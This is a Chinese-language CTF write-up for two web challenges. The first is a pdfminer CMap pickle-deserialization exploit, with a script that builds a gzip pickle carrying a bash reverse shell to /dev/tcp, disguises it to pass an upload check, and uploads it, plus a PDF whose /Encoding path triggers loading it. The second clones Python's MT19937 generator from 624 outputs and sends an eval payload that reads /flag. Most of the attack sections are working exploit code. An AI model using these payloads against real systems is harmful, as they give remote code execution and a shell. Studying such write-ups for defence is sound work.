pdf2text

pdf转txt的工具 源码审了审 没发现东西 给了hint pickle.loads

在pdfminer这个库 找到唯一一个pickle.loads的点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class CMapDB:
_cmap_cache: Dict[str, PyCMap] = {}
_umap_cache: Dict[str, List[PyUnicodeMap]] = {}

class CMapNotFound(CMapError):
pass

@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)
这段代码的作用是
CMapDB 是一个管理 CMap(字符映射表)和 UnicodeMap(Unicode 映射表)缓存的数据库类。
_load_data 方法用于根据映射表名称 name,查找并加载对应的 CMap 数据文件(如 cmap/ 目录下的 pickle.gz 文件),并将其反序列化为 Python 对象。
如果找不到对应的文件,则抛出 CMapNotFound 异常。
代码解释:
name.replace("\0", ""):去除名称中的空字符,防止异常。
filename = "%s.pickle.gz" % name:拼接出要查找的文件名。
cmap_paths:定义了两个查找路径,优先使用环境变量 CMAP_PATH,否则用当前模块下的 cmap 目录。
遍历 cmap_paths,每个目录下查找 filename 文件。
如果文件存在,使用 gzip 打开并读取内容,然后用 pickle 反序列化为 Python 对象,并用 type 创建一个动态类型对象(名字为 name,内容为解包后的字典)。
如果所有路径都找不到文件,则抛出 CMapNotFound 异常。
简而言之,这段代码的作用是:根据 CMap 名称,自动查找并加载 PDF 字符映射表数据,为后续 PDF 解析和字符转换提供支持。

那么这个题的漏洞点在哪呢 就是我们要覆盖name字符集 来加载恶意的字符集让他pickle反序列化从而达到我们想要的目标

那么问题来了 怎么覆盖这个字符集文件呢?

问ai他说

img

那么就是在pdf文件里的 /Encoding 指定我们上传的恶意字符集就可以了

最后会通过os.path.join直接加载这个文件

那么现在的思路非常明确了

1.先上传这个恶意的字符集文件 这个文件需要满足绕过对pdf的检查并且可以成功被gzip解压

2.再上传pdf加载这个恶意字符集文件从而触发我们的恶意命令

经过我的测试 当你明文为这个的时候可以绕过对pdf的检测 必须换行

1
2
trailer<</Root 1>>
xref

我们可以使用opcode或者pickle直接的数据也是可以的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import gzip
import zlib
import requests

pdf = b"""(S\"
trailer
<</Root 1>>
xref
\""""


def opcode():
a = '''(S"bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'"
ios
system
.'''
return a.encode()


cmap_file = "sauy122.pickle.gz"
with gzip.open(cmap_file, 'wb') as f:
f.write(opcode())

comp = zlib.compressobj(level=0,
method=zlib.DEFLATED,
wbits=31)

gz_bytes = comp.compress(pdf) + comp.flush()

with open(cmap_file, "ab") as f:
f.write(gz_bytes)


url = "http://ip/"
requests.post(url + "/upload",files={"file": open(cmap_file, 'rb')})

上传成功后 监听端口就得到

img

PDF文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj

2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj

3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Resources <<
/Font <<
/F1 4 0 R
>>
>>
/Contents 5 0 R
>>
endobj

4 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /HeiseiMin-W3
/Encoding /#2Fapp#2Fuploads#2Fsauy122
/DescendantFonts [6 0 R]
>>
endobj

5 0 obj
<<
/Length 60
>>
stream
BT
/F1 12 Tf
100 700 Td
(Chinese Test) Tj
0 -20 Td
(Attack PDF) Tj
ET
endstream
endobj

6 0 obj
<<
/Type /Font
/Subtype /CIDFontType0
/BaseFont /HeiseiMin-W3
/CIDSystemInfo <<
/Registry (Adobe)
/Ordering (Japan1)
/Supplement 0
>>
>>
endobj

xref
0 7
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000251 00000 n
0000000369 00000 n
0000000489 00000 n
trailer
<<
/Size 7
/Root 1 0 R
>>
startxref
629
%%EOF

gz文件绕过pdf检测还有一种做法 来源于sc强强强!

1
把pickle数据gzip压一下,然后 010editor 把里面表示文件名那一段替换成 odf原文

guess

进去就是三个路由 注册和登录路由 还有一个/api

那么/api是当我们传入的作为key1等于我们随机数key2的时候 可以把我们的payload作为eval(payload, {'__builtin__':{}})执行命令

那么先看

1
2
def generate_random_string():
return str(rd.getrandbits(32))

把这段直接扔浏览器搜索出来第一篇文章就是https://www.cnblogs.com/wandervogel/p/16805983.html

MT19937伪随机数算法

1
mt19937的随机数生成器结构首先需要一个uint32的种子,然后生成一个具有624个uint32数组的状态数组。生成状态数组之后,进行一次旋转,最终可以输出624个随机的uint32。然后重复执行旋转操作。

文章里也写了 我们把624个随机数得到就可以预测接下来的随机数

于是写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
from random import Random

# ---------- MT19937 tempering 反转 ----------
def invert_right(m, l, val=''):
length = 32
mx = 0xffffffff
if val == '':
val = mx
i, res = 0, 0
while i * l < length:
mask = (mx << (length - l) & mx) >> (i * l)
tmp = m & mask
m = m ^ (tmp >> l & val)
res += tmp
i += 1
return res

def invert_left(m, l, val):
length = 32
mx = 0xffffffff
i, res = 0, 0
while i * l < length:
mask = (mx >> (length - l) & mx) << (i * l)
tmp = m & mask
m ^= tmp << l & val
res |= tmp
i += 1
return res

def invert_temper(m):
m = invert_right(m, 18)
m = invert_left(m, 15, 4022730752)
m = invert_left(m, 7, 2636928640)
m = invert_right(m, 11)
return m

def clone_mt(record):
state = [invert_temper(i) for i in record]
gen = Random()
gen.setstate((3, tuple(state + [0]), None))
return gen

# ---------- 从接口收集随机数 ----------
prng = []
api_url = "http://47.109.207.123:11451/api"

while len(prng) < 624:
r = requests.post(api_url, json={"key":"122"})
num = int(r.json()["message"].split(":")[1])
prng.append(num)
print(len(prng), num) # 打印收集进度

# ---------- 克隆 MT 并预测后 20 个随机数 ----------
g = clone_mt(prng)
for _ in range(624):
g.getrandbits(32) # 消耗前 624 个数字,让状态同步

print("Next 20 predicted random numbers:")
for _ in range(20):
print(g.getrandbits(32))

然后就是执行命令

1
2
{"key":"3384741307",
"payload":"__import__('os').system('mkdir /app/static&& cat /flag > /app/static/flag.txt')"}

这样就行

image-20250922210636148